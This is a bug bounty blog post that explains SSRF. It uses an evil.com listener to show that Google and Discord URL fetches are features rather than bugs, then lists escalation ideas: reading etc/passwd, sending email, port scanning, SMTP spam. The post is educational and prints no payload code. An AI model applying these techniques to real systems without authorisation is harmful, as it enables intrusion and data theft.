Bug Bounty Failsx101[3]

Greetings everyone, back with another blog. This time we have SSRF or Server Side Request Forgery on our hands.

What is SSRF?

Its a vulnerability in which attacker can control who and what way a server behaves. In general with the SSRF vulnerability an attacker can fetch resources, connect the server back to himself/herself, connect to other internal infrastructure and perform many other functions authorized for system admins only.

You can understand it with this video example which depicts how internal services can be accessed via this vulnerability.

https://gallery.moovly.com/video/48c0f50c-c8e7-11ea-9a46-06ef0ab4386c

This is based on example provided by Jobert Abma in his blog post. I would recommend you reading his post on HackerOne. Its a good post.

Armed with this knowledge lets hunt for SSRF!

So one way to test if a website really has a SSRF bug in play is to verify whether you can directly access the server on which it is being hosted, and make it DO THINGS.(If, after reading this, you ‘re smiling. You sir are a pervert!).

One of them would be to get a ping back right? I mean you are making the server to look for you? isn’t that a bug?

CASE 1: The search engine.

Then let’s get down to hunting SSRF! And we’ve got one perfect candidate. GOOGLE! So Google has that image search functionality (duh?!). You can do it using a URL, too. What if we were able to make Google ping-back/HTTP request back at us?

Lets set up our own website and let it be called evil.com (I am doing so using ngrok). We can monitor which connections are being made back to us, whether we are being pinged or not, we have FTP, SMTP and other services at our discretion. My setup is listening for a connection back on port 1337 :).

Step I: Enter your website (evil.com) in the search bar, hit search.

Step II: open the logs for your website (evil.com) and you can see you got a ping-back/HTTP request from google (from google’s bot) or in my case, on my netcat listener running on port 1337.

BOOM!! a response from the server. Lets report this to google security. I immediately mailed this vulnerability to them and got this as their reply.

Naah. I didn’t mail it. And this is not a bug or is it?

It boils down to whether or not it’s impactful but, in particular, in this case, not only there is no impact, it is a feature!.

Whenever a website retrieves a resource from another resource (website, server or any internet device) it connects to it and the pingback, HTTP request or TCP connection here simply confirms that a connection has been made or a fetch has been made. Like in this case, Google came to our website and asked us, “Hey do you have this?” that we didn’t respond to, so it timed out.

Another case of such a scenario would be Discord.

CASE 2: The chat application.

When you send your link as a message via Discord, Discord comes and asks our website the same question that Google had asked. As before we had nothing to answer and instead of timing out here, the discord message shows no description of the website. These are just the functionality of these two websites and not the bugs themselves.

When will they become a bug??

Ask yourself this question, apart from getting an HTTP request from your server, what else could be done? Can you get it to share the files with you? Yet that’s just what you ‘re doing on its website. What about sharing the file `etc/passwd` with you? What if you could make the website send an email for you. Possibilities are endless.

CASE study 1:

I always emphasize on learning from reports and yet I don’t have a top pick. But this report #115748 by aesteral is a gem. You can explore the number of attack scenarios he pulled off, on this vulnerable website. Its not the best study, but the comprehensive approach and description of the effect on each stage is something worth learning from.

He shows powerful impacts by exploiting SMTP connection, where he highlights the possibility of an “actual SMTP session and send SPAM from Imgur IPs”. A snippet of his payload.

He then goes further in showing a UDP connection exploit and not to mention the DOS attack stated in the report’s end.

CASE study 2:

Another good example of a SSRF exploit is #783392 by arsene_lupin. In his report he showed clear and impactful events of an SSRF bug. A precise POC highlighting how port scanning can be achieved with a traditional SSRF POC.

Take away:

When you only send a SSRF report that indicates just a “ping-back / HTTP request” from a compromised server, there is a very good probability that the report will be marked as informative and in worst case N/A. Nevertheless, if ample evidence of potential misuse is given, the probability of obtaining a triage on the report rises, but that will not be assured unless a solid working proof is presented.

So if you think the situation can be changed, you can ask the triage team to assist you with this after you have sent a bug report. You see its important to show a security vulnerability.

2. Consider your options wisely, stick to policy of the website. If they mention that DOS is out of scope and the only impact you can show is of a DOS, then the responsible thing would be to still report it, but don’t expect a reward.

I would like to credit people in HackerOne Discord channel, for helping me with content for these blogs.

I hope you found this informative. You can find me on twitter. Happy hunting.